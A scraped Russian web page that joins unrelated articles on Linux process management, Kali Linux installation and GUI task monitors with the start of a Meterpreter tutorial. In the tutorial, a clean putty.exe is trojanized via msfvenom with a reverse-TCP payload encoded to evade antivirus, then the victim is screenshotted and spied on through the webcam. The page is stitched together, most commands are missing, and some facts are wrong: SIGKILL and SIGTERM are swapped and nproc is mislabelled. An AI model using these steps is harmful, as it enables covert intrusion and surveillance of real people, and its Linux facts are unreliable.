78 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Запущенные процессы Кали Линукс

Убиваем процессы в Linux — команды ps, kill и killall

Под процессом мы будем понимать запущенную в системе копию программы. Например, если вы открыли три окна калькулятора (например, gcalctool), это значит, что вы запустили три процесса.

Находим PID зависшего процесса

Каждый процесс в Linux имеет свой идентификатор, называемый PID. Перед тем, как выполнить остановку процесса, нужно определить его PID. Для этого воспользуемся командами ps и grep. Команда ps предназначена для вывода списка активных процессов в системе и информации о них. Команда grep запускается одновременно с ps (в канале) и будет выполнять поиск по результатам команды ps. Вывести список всех процессов можно, выполнив в командной строке:

Но, как правило, список очень большой и найти процесс, который мы хотим «убить», бывает не так просто. Здесь на помощь приходит команда grep. Например, чтобы найти информацию о процессе с именем gcalctool выполните команду:

Команда grep выполнит поиск по результатам команды ps и на экран будут выведены только те строки, которые содержат строку (слово) gcalctool. Здесь есть одна интересная деталь, например, если у вас не запущено приложение gcalctool, то после выполнения ps axu | grep gcalctool вы получите:

То есть мы получили сам процесс grep, так как в качестве параметра команде мы указали слово gcalctool, и grep нашел сам себя в выводе команды ps.

Если процесс gcalctool запущен, то мы получим:

Здесь нас интересует строка: «yuriy 25609 7.6 0.4 500840 17964 ? Sl 10:20 0:00 gcalctool». Число 25609 и есть идентификатор (PID) процесса gcalctool.

Есть еще один более простой способ узнать PID процесса — это команда pidof, которая принимает в качестве параметра название процесса и выводит его PID. Пример выполнения команды pidof:

«Убиваем» процесс командой kill

Когда известен PID процесса, мы можем убить его командой kill. Команда kill принимает в качестве параметра PID процесса. Например, убьем процесс с номером 25609:

Вообще команда kill предназначена для посылки сигнала процессу. По умолчанию, если мы не указываем какой сигнал посылать, посылается сигнал SIGTERM (от слова termination — завершение). SIGTERM указывает процессу на то, что необходимо завершиться. Каждый сигнал имеет свой номер. SIGTERM имеет номер 15. Список всех сигналов (и их номеров), которые может послать команда kill, можно вывести, выполнив kill -l. Чтобы послать сигнал SIGKILL (он имеет номер 9) процессу 25609, выполните в командой строке:

Сигнал SIGTERM может и не остановить процесс (например, при перехвате или блокировке сигнала), SIGKILL же выполняет уничтожение процесса всегда, так как его нельзя перехватить или проигнорировать.

Убиваем процессы командой killall

Команда killall в Linux предназначена для «убийства» всех процессов, имеющих одно и то же имя. Это удобно, так как нам не нужно знать PID процесса. Например, мы хотим закрыть все процессы с именем gcalctool. Выполните в терминале:

Команда killall, также как и kill, по умолчанию шлет сигнал SIGTERM. Чтобы послать другой сигнал нужно воспользоваться опцией -s. Например:

Заключение

Некоторые процессы не удается остановить под обычным пользователем. Например, если процесс был запущен от имени пользователя root или от имени другого пользователя системы, то команды kill и killall нужно выполнять от имени суперпользователя, добавляя sudo (в Ubuntu):

Бывают ситуации, когда вы работаете в графическом интерфейсе (например, GNOME) и вам не удается открыть эмулятор терминала, чтобы остановить зависший процесс. Тогда можно переключиться на виртуальную консоль клавишами Ctrl+Alt+F1, залогиниться в ней и выполнять команды уже из нее. А потом перейти обратно, нажав Ctrl+Alt+F7.

Справку по использованию любой команды можно получить командой man:

Как проверить процессы Кали Линукс.

В статье описываются команды, с помощью которых можно посмотреть запущенные процессы Кали Линукс в текущем сеансе, проверить потребление процессами оперативной памяти, нагрузку на процессор, рассмотрим сортировку процессов по степени приоритета и т.д.

Введение. Самая простая из команд.

Как и другие операционные системы, Кали является мультипроцессовой системой. А это значит, что на фоне запущенных в системе процессов существует своеобразный программный инструмент, позволяющий правильно распределять нагрузку оптимально в отношении исполняемых Кали задач: он решает какой процесс будет использоваться процессором и в какой промежуток времени. Если программа не отвечает или пользователь желает перебросить силы процессора на определённую задачу, без этих команд не обойтись.

Всё начинается с загрузки. Всякий раз по включении Кали вы видите список проверяемых служб, процессов и скриптов, которые запускаются вместе с системой. Большинство из них и есть сама система: скрипты инициализации, программы-демоны (это не ужасающий термин, а вполне устоявшееся определение родом из UNIX систем, означающий фоновый, скрытый от глаз пользователя процесс)… Со многими из них работать вообще никогда не придётся. Другое дело родительские процессы, которые позволяют запускать и контролировать процессы дочерние – запускаемые и контролируемые родительскими. С ними иногда приходится работать напрямую. Терминал нам в помощь.

Каждому из процессов в текущем сеансе присвоен свой персональный идентификатор или PID. С ним можно работать также как с названием процесса. Начнём с простого в порядке повышения информативности – наберём в окне терминала:

Только что запущенное окно отобразит текущие процессы, связанные с текущим терминалом (выходом на конкретное задание или устройство). Это всегда bash и ps. Терминал говорит вам, что вы сейчас смотрите на текстовую командную оболочку Bourne-Again Shell (bash – оболочка, предложенная господами Бурном и Эгейном) и хотите увидеть список процессов ps, которые к данному терминалу присоединены. Окно терминала разбито на несколько столбцов, где:

  • PID – номер процесса (не по порядку)
  • TTY – среда текстового ввода/вывода (вообще-то это сокращение от teletype, но в этимологию линукс-команд лучше не вдаваться; хотя это многое порой объясняет). Сейчас под аббревиатурой TTY скрывается само окно терминала.
  • PTS/X – pseudo terminal slave – ведомый псевдо терминал. Разница между TTY и PTS состоит в типе соединения с системой или компьютером. Первое – это устройства, которые соединены с компьютером напрямую: мышь, клавиатура, другое оборудование. PTS – это то, что связано с компьютером через сетевой протокол. Но и у тех и у других задача одна – подключаться к шеллу вашей Кали с целью вводить команду на управление компьютером под началом ОС. С каждым новым открытым окном терминала и те и другие значения будут меняться:

  • TIME – сколько времени потрачено системой на исполнение процесса
  • CMD – форма процесса

Теперь взглянем на все процессы Кали Линукс. Наберём:

Вот это я понимаю список. Как видно, описание процессов разбавил ещё один столбец, да и, ко всему прочему, добавились новые символы. Разберёмся.

С PID нам всё ясно. Однако почти все процессы под TTY заполнены знаками вопроса ?. Это означает, что ни один из этих процессов не связан ни с одним из терминалов сеанса Кали. Новый столбец STAT указывает на статус или состояние процесса. R – запущен, S – спит, T – остановлен, l – мультипоточный и т.д. Не все дополнительные флаги вам придётся увидеть, однако для полноты статьи какие процессы Кали принимают вид я справочно приведу (в алфавитном порядке латиницы):

  • D – постоянно спящий режим (обычно для устройств ввода-вывода)
  • R – запущенный или готовый к сиюминутному запуску процессов
  • S – спящий процесс (в ожидании какого-то события для остановки или завершения)
  • T – остановленный процесс
  • X – заблокированный процесс
  • Z – “зомби-процесс” (остановленный принудительно, но по некоторым причинам системой не возобновлённый)

Ко всему прочему к этим флагам могут быть доставлены дополнительные флаги:

Установка Kali Linux. Подробная пошаговая инструкция

Операционная система Kali Linux предназначена для проведения тестов на безопасность. Вы можете установить ее на свой домашний стационарный компьютер или ноутбук так же, как и другой дистрибутив Linux.

Загрузка Kali Linux

Зайдите в браузере на главную страницу дистрибутива. Щелкните по ссылке «Downloads».

Для компьютеров с 32-битным процессором нужно скачать версию соответствующей разрядности. Если ПК не более 10 лет и на момент приобретения он не относился к числу самых дешевых, он, скорее всего, 64-битный. Перейдите по ссылке «Torrent» возле той версии ОС, которую вы собираетесь загрузить и установить.

Предусмотрен и неофициальный выпуск Kali Linux, который обновляется еженедельно. Перейдите по ссылке на страницу, где вы сможете скачать его.

Выберите совместимую с вашим ПК версию. Щелкните по ссылке и загрузка стартует.

Создание загрузочной флешки Kali Linux

Перейдите на сайт Universal USB Installer. Это простой программный инструмент для создания загрузочных USB-накопителей дистрибутивов Linux. Загрузите исполняемый файл программы для операционных систем Windows в формате EXE.

Утилита работает без установки. Вставьте флешку в USB-разъем компьютера. Запустите Universal USB Installer. Ознакомитесь с условиями лицензионного соглашения. Чтобы продолжить работу с программой, их необходимо принять нажатием экранной кнопки «I Agree».

В главном окне программы:

  • Шаг 1 (Step 1): выберите из списка дистрибутив (Kali Linux).
  • Шаг 2 (Step 2): при помощи кнопки «Browse» укажите путь к файлу ISO-образа, который вы ранее скачали.
  • Шаг 3 (Step 2): выберите буквы диска, сопоставленную загрузочной флешке.
  • Нажмите кнопку «Create» расположенную в нижней правой части окна Universal USB Installer.
  • Дождитесь завершения создания загрузочного накопителя Kali Linux.
Читать еще:  Как создать ярлык ключа реестра в Windows 10

Извлеките флешку из USB-порта и выключите ПК. Повторно включите компьютер.

Настройки BIOS

Подключите загрузочный USB-накопитель к компьютеру.

Включите ПК и зайдите в BIOS или UEFI, нажав клавишу или клавиатурной сочетания, предусмотренное для выполнения данной задачи в вашей модели. При загрузке компьютера на экране появится подсказка. Чаще всего используются клавиши:

В разных моделях компьютеров предусмотрены различные интерфейсы UEFI или BIOS. Необходимо найти раздел «Boot» (или подобный).

Поменять порядок загрузки таким образом, чтобы созданный вами установочный USB-накопитель стал первым. Нажать клавишу «F10» для подтверждения изменений.

Нажать экранную кнопку «ОК» и «Enter».

Важная информация

Установщик ОС отображает на экране подробные пошаговые рекомендации и подсказки. Обращайте на них внимание.

Запуск мастера установки Kali Linux

Стрелкой «Вниз» клавиатуры перейдите на строку «Install». Нажмите «Enter». Далее применяйте данную кнопку для перехода к следующему окну установки ОС.

Язык мастера установки. Местоположение. Раскладка клавиатуры

Определите язык интерфейса мастера установки Kali Linux.

Местоположение, которое вы окажете в этом окне станет учитываться при настройке часового пояса.

Выберите клавиатурную раскладку. Латинская раскладка работает «из коробки». Необходимости добавлять ее дополнительно нет.

Определите клавишу или клавиатурное сочетание для переключения между раскладками.

Мастер установки Kali Linux загрузит дополнительные компоненты. Потребуется некоторое время

Имя компьютера и домен

В поле введите имя компьютера для идентификации системы в сети. Может состоять только из одного слова. В домашней сети используйте произвольное, для офисного использования — выделенное системным администратором компании.

Именем домена является часть интернет-адреса, располагающаяся справа от имени компьютера. В домашней сети — любое, но одинаковое для всех устройств.

Учетная запись root

Определите пароль root, то есть пароль администратора системы.

Повторным вводом подтвердите созданный вами пароль.

Создайте свою пользовательскую учетную запись

Определите имя пользователя. Оно будет использоваться для тех задач, выполнение которых не требует ввода root-пароля. Оно станет отображаться в поле «От кого» в отправляемых вами письмах. Станет использоваться софтом, которому необходимо имя пользователя и отображаться в поле «От кого» в отправляемых письмах.

Установите имя учетной записи. Начинается с маленькой буквы и состоит из любого количества цифр и букв латинского алфавита.

Введите пароль пользовательской учетной записи.

Его необходимо подтвердить повторным вводом.

Время

Из списка выберите часовой пояс.

Подготовка диска к установке

Из списка выберите метод разметки HDD или SSD:

  • Авто — использовать весь диск.
  • Авто — использовать весь диск и настроить LVM.
  • Авто — использовать весь диск с шифрованным LVM.
  • Вручную (предполагается создание пользователем разделов).

В данной инструкции рассматриваю первый вариант, при котором весь накопитель является одним разделом.

Вся информация с диска, выбранного вами для установки ОС, будет удалена. Перед нажатием на «Enter» необходимо вспомнить, сохранены ли на дополнительных носителях ценные для вас файлы. Если нет — прервите установку операционной системы.

Схема разметки диска:

  • Все файлы в одном разделе (рекомендуется новичкам).
  • Отдельный раздел для /home.
  • Отдельные разделы для /home, /var и /tmp.

Начинающим пользователям лучше выбрать первый пункт. Другие схемы разметки накопителя используйте лишь в тех случаях, когда вам известно, зачем это необходимо.

Чтобы установка Kali Linux была продолжена, выберите пункт «Закончить разметку и записать изменения на диск». Вы можете «Отменить изменения разделов».

Установщик предложит: «Записать изменения на диск?» Для того, чтобы продолжить установку системы, выберите «Да». Делайте это лишь тогда, когда уверены в правильности сделанных ранее настроек.

Установка ОС в автоматическом режиме

Диск будет отформатирован и стартует процесс установки дистрибутива. Мастером установки станет отображаться информация о степени завершенности установки (в процентах).

Согласитесь использовать зеркала из сети. Зачастую они являются источниками более новых версий софта.

Если нужно применять HTTP-прокси, введите его. Когда в прокси нет необходимости, оставьте это поле пустым.

Загрузчик

Согласитесь установить загрузчик GRUB.

Выберите диск для установки системного загрузчика. Вам предлагается указать накопитель вручную.

Через некоторое время операционная система будет настроена и готова к работе.

После появления сообщения о том, что установка завершена, нажмите «Enter». Компьютер перезагрузится.

Начните работу с операционной системой.

Какой софт поддерживает Kali Linux

Kali Linux (подобно Debian, Linux Mint и Ubuntu) поддерживает пакеты приложений DEB.

Kali Linux, а также наиболее дружественные пользователю дистрибутивы можно установить VirtualBox, не отказываясь от использования Windows 10 или 7 в качестве основной операционной системы. Процесс установки был ранее мною рассмотрен в подробных пошаговых руководствах:

Рекомендации разработчиков Kali Linux

Дистрибутив предназначен для использования специалистами в сфере компьютерной безопасности. Его разработчики не рекомендуют использовать ОС тем пользователям, которые:

  • Не знакомы с операционными системами Linux.
  • Хотят использовать операционную систему в качестве инструмента обучения, для ознакомления с возможностями Linux.
  • Ищут операционную систему общей направленности: для разработки, веб-дизайна, игр и других повседневных задач.

Не поддерживаются команда «apt-add-repository», LaunchPad и PPA. Попытка установить Steam может привести к сбою. Задачи, которые легко выполняются в дружественных обычным пользователям дистрибутивах Linux, требуют в Kali Linux профессиональных знаний и дополнительных усилий. Набор источников программного обеспечения сведен к минимуму. При попытке добавить другие возникает риск повредить операционную систему. Дополнительные сервисы, такие как Bluetooth, по умолчанию включены в «черный список».

Разработчики Kali Linux советуют начать изучение основ Linux с других дистрибутивов:

Известны ли вам причины, по которым обычному пользователю лучше установить Kali Linux, а не Ubuntu, установку которой в VirtualBox я недавно рассмотрел в подробностях?

Авторизуясь, вы даете согласие на обработку персональных данных.

Управление процессами в Linux

Как вы думаете, операционная система Linux может автоматически позаботиться сама о себе? Когда работает все нормально или вам не нужны никакие нестандартные возможности – вполне да. Но иногда может понадобиться ваше вмешательство в ее работу.

В Linux для каждой отдельной программы, при ее запуске создается процесс. Неважно запускаете программу вы вручную самостоятельно или это делает система или ядро. Например, программа инициализации, которая запускается сразу после завершения загрузки ядра тоже имеет свой процесс с идентификатором 0. Процессы в linux можно описать как контейнеры, в которых хранится вся информация о состоянии и выполнении программы. Если программа работает хорошо, то все нормально, но если она зависла или вам нужно настроить ее работу может понадобиться управление процессами в Linux.

В этой статье будет затронута обширная тема, мы рассмотрим такие возможности:

  • Просмотр запущенных процессов
  • Просмотр информации о процессах
  • Поиск процессов в Linux
  • Изменение приоритета процессов
  • Завершение процессов
  • Ограничение памяти доступной процессу

Я не мог не включить в статью первые пункты, но они очень просты и мы не будем разбирать их очень подробно. Но вот все остальное может показаться сложным и недостаточно описанным.

Что такое процесс?

Начнем с того, что разберемся в терминах. По сути, процесс – это каждая программа. Как я уже говорил для каждой запускаемой программы создается отдельный процесс. В рамках процесса программе выделяется процессорное время, оперативная память и другие системные ресурсы. У каждого процесса есть свой идентификатор, Proccess ID или просто PID, по ним, чаще всего и определяются процессы Linux. PID определяется неслучайно, как я уже говорил, программа инициализации получает PID 1, а каждая следующая запущенная программа – на единицу больше. Таким образом PID пользовательских программ доходит уже до нескольких тысяч.

На самом деле, процессы Linux не настолько абстрактны, какими они вам сейчас кажутся. Их вполне можно попытаться пощупать. Откройте ваш файловый менеджер, перейдите в корневой каталог, затем откройте папку /proc. Видите здесь кучу номеров? Так вот это все – PID всех запущенных процессов. В каждой из этих папок находится вся информация о процессе.

Например, посмотрим папку процесса 1. В папке есть другие под каталоги и много файлов. Файл cmdline содержит информацию о команде запуска процесса:

Поскольку у меня используется система инициализации Systemd, то и первый процесс запускается для нее. С помощью каталога /proc можно сделать все. Но это очень неудобно, особенно учитывая количество запущенных процессов в системе. Поэтому для реализации нужных задач существуют специальные утилиты. Перейдем к рассмотрению утилит, которые позволяют реализовать управление процессами в Linux.

Управление процессами в Linux

В Linux есть очень большое количество утилит для решения различных задач по управлению процессами. Это и такие многофункциональные решения, как htop, top, а также простые утилиты, например, ps, kill, killall, who и т д. Я не буду рассматривать в этой статье графические утилиты, и top тоже рассматривать не буду. Первое потому что слишком просто, второе – потому что htop лучше. Мы остановимся на работе с программой htop и ее аналогами в форме утилит в стиле GNU, одна утилита – одна функция.

Давайте установим htop, если она у вас еще не установлена. В Ubuntu это делается так:

sudo apt install htop

В других дистрибутивах вам нужно просто использовать свой менеджер пакетов. Имя пакета такое же.

Посмотреть запущенные процессы

Это очень простая задача, и также просто она решается. Для этого существует множество утилит, начиная от обычной ps, до более продвинутых интерактивных top, htop и так далее.

Читать еще:  Поиск по картинке в Google - Как пользоваться сервисом?

Открыв htop, мы сразу видим список запущенных процессов. Конечно, здесь отображены не все процессы linux, их-то в системе очень много, вы уже знаете, все они на один экран не поместятся. По умолчанию выводятся процессы, запущенные от имени вашего пользователя:

Вы можете увидеть такую информацию о процессе:

  • PID – идентификатор процесса
  • USER – пользователь, от которого был запущен процесс
  • PRI – приоритет процесса linux на уровне ядра (обычно NI+20)
  • NI – приоритет выполнения процесса от -20 до 19
  • S – состояние процесса
  • CPU – используемые ресурсы процессора
  • MEM – использованная память
  • TIME – время работы процесса

К отображению можно добавить и дополнительные параметры, но эти главные. Добавить параметры можно с помощью меню Setup. Там все очень просто, читайте подсказки и следуйте указаниям. Например, добавлен параметр PPID:

Очень важной особенностью программы есть то, что вы можете сортировать процессы в Linux по нужному параметру. Просто кликните по названию параметра, оно выделится зеленым и будет выполнена сортировка. Например, хотите посмотреть в каком порядке запускались процессы, сортируем по PID:

Также есть интересная возможность разместить процессы в виде дерева. Вы сможете увидеть, каким процессом был запущен тот или иной процесс. Для отображения дерева нажмите кнопку F5:

Почти те же действия вы можете выполнять с помощью программы ps. Только здесь нет такого удобного интерактивного режима. Все делается с помощью опций.

Рассмотрим основные опции, которые будем использовать:

  • -e – вывести информацию обо всех процессах
  • -a – вывести информацию обо всех наиболее часто запрашиваемых процессах
  • -t – показывать только процессы из этого терминала
  • -p – показывать информацию только об указанном процессе
  • -u – показывать процессы только определенного пользователя

Одним словом, чтобы посмотреть все активные на данный момент процессы в linux, используется сочетание опций aux:

Программа показывает все те же параметры, только здесь нет интерактивного интерфейса. Думаете здесь нельзя отсортировать процессы, но ошибаетесь, можно. Для этого есть опция sort. Вы можете сортировать их по любому полю, например:

Список будет отсортирован в обратном порядке, внизу значения больше, вверху – меньше. Если нужно в обратном порядке, добавьте минус:

В качестве поля для сортировки могут быть использованы приоритеты процессов Linux или любые другие параметры. Также вы можете обрезать вывод, если не нужно выводить всю информацию:

Казалось бы, у ps нет возможности стоить деревья процессов. Но не совсем, для этого существует отдельная команда:

Поиск процессов в Linux

Список процессов, это хорошо. Но иногда, когда какой-нибудь процесс завис и нужно убить процесс Linux или нам нужно провести с ним какие-либо действия, нужно выделить этот процесс из списка, узнать его PID и информацию о нем.

Чтобы найти процесс linux в htop можно использовать кнопку F3. Нажмите F3 и наберите нужное слово. Дальше чтобы перейти к следующему вхождению нажимайте F2 или Esc для завершения поиска:

Для поиска процессов в htop можно использовать также фильтр htop. Нажмите F4, введите слово и будут выведены только процессы linux, имя которых включает это слово.

В утилите ps фильтрации нет, но зато мы можем использовать утилиту grep, перенаправив вывод ps на нее чтобы найти процесс linux:

ps aux | grep chromium

Это очень часто употребляемая команда.

Изменение приоритета процессов

Приоритет процесса linux означает, насколько больше процессорного времени будет отдано этому процессу по сравнению с другими. Так мы можем очень тонко настроить какая программа будет работать быстрее, а какая медленнее. Значение приоритета может колебаться от 19 (минимальный приоритет) до -20 – максимальный приоритет процесса linux. Причем, уменьшать приоритет можно с правами обычного пользователя, но чтобы его увеличить нужны права суперпользователя.

В htop для управления приоритетом используется параметр Nice. Напомню, что Priv, это всего лишь поправка, она в большинстве случаев больше за Nice на 20. Чтобы изменить приоритет процесса просто установите на него курсор и нажимайте F7 для уменьшения числа (увеличения приоритета) или F8 – для увеличения числа.

Но и для решения этой задачи управления процессами Linux необязательно использовать htop. Вы можете сделать все и другими командами. Например, команда nice. С помощью нее вы можете указать приоритет для запускаемого процесса:

nice -n 10 apt-get upgrade

Или изменить приоритет для уже существующего по его pid:

renice -n 10 -p 1343

Завершение процессов в Linux

Если процесс завис и не отвечает, его необходимо завершить. В htop, чтобы убить процесс Linux, просто установите курсор на процесс и нажмите F9:

Система для управления процессами использует определенные сигналы, есть сигналы, которые указывают процессу завершиться. Вот несколько основных сигналов:

  • SIGKILL – попросить процесс сохранить данные и завершится
  • SIGTERM – завершить процесс немедленно, без сохранения

Вообще сигналов есть несколько десятков, но мы не будем их рассматривать. Отправим сигнал SIGKILL:

Также можно воспользоваться утилитой kill:

Также можно уничтожить процесс по имени:

Ограничение процессов

Управление процессами в Linux позволяет контролировать практически все. Вы уже видели что можно сделать, но можно еще больше. С помощью команды ulimit и конфигурационного файла /etc/security/limits.conf вы можете ограничить процессам доступ к системным ресурсам, таким как память, файлы и процессор. Например, вы можете ограничить память процесса Linux, количество файлов и т д.

Запись в файле имеет следующий вид:

  • домен – имя пользователя, группы или UID
  • тип – вид ограничений – soft или hard
  • элемент – ресурс который будет ограничен
  • значение – необходимый предел

Жесткие ограничения устанавливаются суперпользователем и не могут быть изменены обычными пользователями. Мягкие, soft ограничения могут меняться пользователями с помощью команды ulimit.

Рассмотрим основные ограничения, которые можно применить к процессам:

  • nofile – максимальное количество открытых файлов
  • as – максимальное количество оперативной памяти
  • stack – максимальный размер стека
  • cpu – максимальное процессорное время
  • nproc – максимальное количество ядер процессора
  • locks – количество заблокированных файлов
  • nice – максимальный приоритет процесса

Например, ограничим процессорное время для процессов пользователя sergiy:

sergiy hard nproc 20

Посмотреть ограничения для определенного процесса вы можете в папке proc:

Max cpu time unlimited unlimited seconds
Max file size unlimited unlimited bytes
Max data size unlimited unlimited bytes
Max stack size 204800 unlimited bytes
Max core file size 0 unlimited bytes
Max resident set unlimited unlimited bytes
Max processes 23562 23562 processes
Max open files 1024 4096 files
Max locked memory 18446744073708503040 18446744073708503040 bytes
Max address space unlimited unlimited bytes
Max file locks unlimited unlimited locks
Max pending signals 23562 23562 signals
Max msgqueue size 819200 819200 bytes
Max nice priority 0 0
Max realtime priority 0 0
Max realtime timeout unlimited unlimited us

Ограничения, измененные, таким образом вступят в силу после перезагрузки. Но мы можем и устанавливать ограничения для текущего командного интерпретатора и создаваемых им процессов с помощью команды ulimit.

Вот опции команды:

  • -S – мягкое ограничение
  • -H – жесткое ограничение
  • -a – вывести всю информацию
  • -f – максимальный размер создаваемых файлов
  • -n – максимальное количество открытых файлов
  • -s – максимальный размер стека
  • -t – максимальное количество процессорного времени
  • -u – максимальное количество запущенных процессов
  • -v – максимальный объем виртуальной памяти

Например, мы можем установить новое ограничение для количества открываемых файлов:

Установим лимит оперативной памяти:

ulimit -Sv 500000

Напоминаю, что это ограничение будет актуально для всех программ, выполняемых в этом терминале.

Выводы

Вот и все. Теперь управление процессами в Linux не вызовет у вас проблем. Мы рассмотрели очень даже подробно эту тему. Если у вас остались вопросы или есть предложения по дополнению статьи, пишите в комментариях!

Диспетчер задач Линукс: только GUI

Диспетчер задач Линукс в графическом интерфейсе.

Диспетчер задач, каким вы знаете его по Windows, крайне важный инструмент наблюдения и диагностики за состоянием и производительностью операционной системы. Его использование лишь подчёркивает профессионализм пользователя любой ОС независимо от производителя. О его степени важности речь не идёт. И сегодня мы рассмотрим с вами самые интересные программы такого рода для Кали Линукс. Причём в статье будут рассмотрены приложения с GUI интерфейсом. В чём я не вижу ничего плохого: да, Линукс/Unix — это прежде всего командная Ось, но отказываться от предложений, оформленных в красивую обёртку, пустой снобизм и понты. Конечно, на серверах под управлением «пингвина» GUI может отсутствовать напрочь, но конечному пользователю отдельного компьютера, я думаю, здесь будет интересно кое-что почерпнуть.

Диспетчер задач Линукс — любой Линукс

Совсем обойти CLI-утилиты просто не имею права. Тем более, если они уже есть. Заряжаем терминал и набираем

Самое подробное о том, что сейчас происходит в системе. Как я понимаю, она сидит в любом дистрибутиве Линукс. Из терминала вы можете увидеть информацию обо всех процессах, потреблении процессора, SWAP, свободных и занятых ресурсах RAM – вобщем, обо всём. Альтернативным вариантом просмотра использования ресурсов является утилита

Она отображает запущенные потоки системных процессов в древовидной форме.

Но ладно. К таким утилитам мы будем возвращаться время от времени в любом случае, так как они существуют в нашей системе по умолчанию. А сейчас, собственно, по теме статьи.

Читать еще:  Флешмоб в контакте. Женские флешмобы в контакте

Gnome system monitor

Да, «красивый» Диспетчер задач Линукс в Кали также уже установлен. И, если опять же проводить аналогии с привычным “виндовозным” Диспетчером, он, я уверен, полностью покроет ваши привычные потребности. Здесь есть все знакомые вам функции: от группировки по потреблению ресурсов до возможности остановить любой из процессов из контекстного меню. И что самое главное — интерфейс переведён на вашу языковую локаль, что делает пользование им абсолютно понятным.

Lxtask

Ещё одна программа, которая отображает запущенные процессы и используемые ими ресурсы системы в графическом интерфейсе. Это Lxtask. По умолчанию в Кали её нет, но в родных репозиториях она хранится. Качаем и ставим:

Интерфейс вам будет знаком, тем более, что он на русском. Полная аналогия с функциями предыдущим и установленным по умолчанию Монитором ресурсов. И даже в чём-то уступает в смысле графических отображений запущенных процессов и статистики подсчёта свободных/занятых ресурсов компьютера. Однако именно благодаря минималистичному интерфейсу сама программа много “не кушает”.

Подобных этой программ много, почти все они одинаково полезны. И, возможно, у вас уже есть свои предпочтения среди прочих, здесь не указанных. Но следующую программу я обойти стороной не могу.

Stacer

Программа просто красочная и по праву занимает почётное место среди себе равных. Она практически полностью переведена на русский, и интерфейс её интуитивно понятен. Качаем утилиту:

Устанавливаем из папки, куда скачали:

Запускаем по имени:

В смысле исполнения задачи отображения потребления ресурсов системой она минимальна. Однако любителям “всё в одном” она понравится:

Здесь понапихано почти всё, что понадобится начинающему знакомиться с Кали Линукс, но окончательно не привыкшему к CLI-интерфейсу системы. Знакомьтесь – после перевода на родной язык всё станет легко: Stacer является полновесной программой по оптимизации Линукс с полным набором утилит по обслуживанию Кали Линукс (в нашем случае). Т.е. она способна на всё (ну, или почти всё): от мониторинга системных и пользовательских ресурсов до установки/удаления пакетов и очистки системы.

программа предлагает свернуться или выйти из системы

За сим позволю себе закончить. Думаю, информации по теме вам предостаточно.

Kali Linux. Возможности Meterpreter. Часть 1.

Привет. Начну с того, что применять данную информацию против кого-либо, с кем вы не договорились заранее и не получили разрешение(желательно в письменном виде с подписью) – незаконно. Все действия лежат только на ваших плечах и совести. Вся информация предоставлена в ознакомительных целях. Иначе за вами выедут.

Начнём. Возможно, это Часть 1.

Если вы заглянули сюда – значит вы чуточку знаете, что такое Kali Linux и metasploit framework. Если нет, то:

Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.

Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.

Хакер: Kali Linux 2017.1

Жертва: Windows 10 1703 x64

Для начала нам нужно, чтобы наш заражённый файл был запущен на компе/ноутбуке жертвы. Как вы это будете делать – без понятия. Я буду применять свой комп, а Кали у меня на ноуте.

Процесс создания заражённого файла:

1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете

2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.

3. Пишем msfvenom -a x86 –platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 -e x86/shikata_ga_nai -i 5 -b “x00” -f exe -o putty3.exe

Поясню, что тут есть:

msfvenom – собсно, создатель троянов/инжектор троянов в .exe

-a x86 – архитектура x86. Для x86 приложений

–platform windows – платформа Windows ¯_(ツ)_/¯, работает вместе с прошлым атрибутом.

-x putty.exe – файл, который мы заражаем

-k – Без понятия, вот как в оригинале: Preserve the template behavior and inject the payload as a new thread. Что-то типа “встроить нагрузку”

-p windows/meterpreter/reverse_tcp – “полезная нагрузка”

lhost=192.168.0.101 – ip атакующего

-e x86/shikata_ga_nai – шифрование, чтоб антивирусы не палили

-i 5 – количество итераций шифрования. У меня 5.

-b “x00” – что-то связанное с “плохими символами(bad-chars)”

-f exe – формат файла

-o putty3.exe – выходной файл, который надо отправить жертве

У меня тут 10 итераций(-i 10).

Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса

35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.

Запускаем metasploit framework и ждём.

Нас встретит “msf >”

Команды выглядят так:

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > show options (показывает, что можно настроить)

Пишем “set LHOST 192.168.0.101”, в моём случае. У вас, ясное дело, ваш ip Kali Linux.

LHOST и LPORT должны быть теми, которые мы указали в msfvenom.

Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.

Заражённая программа внешне ничем не отличается от оригинала:

Обычная программа. Только закрывается через несколько секунд.

На ноуте в это время пишем exploit и видим это:

Если вы напишете сначала на кириллице, а потом сотрёте и напишете как надо – всё равно символ останется и выдаст ошибку, что у меня и произошло. Странный баг, но забавный. Иногда бесячий.

“meterpreter > ” означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть “заражённый процесс в другой процесс”. Чтобы путти мог закрыться и не закрыл вместе с собой сессию.

Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe

PID у него 3044. 2800 это PPID и он нам не нужен.

пишем “migrate 3044” и готово.

5412 – прошлый PID. Если закрыть putty – закроется и соединение. После миграции в explorer.exe Путти может спокойно закрыться и соединение не пропадёт.

Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.

Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.

1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.

2. sysinfo. и так понятно, что даёт

3. getsystem – должно дать права админа, но на Win10 не работает

4. getuid – узнать имя компа

5. screenshot – делает снимок экрана жертвы в нативном разрешении монитора жертвы. Куда сохраняет – написано. Скриншот в скриншоте.

6. Команды для вебкамеры:

webcam_list – список вебкамер у жертвы

webcam_snap – делает снимок на камеру

webcam_stream – вебка в прямом эфире

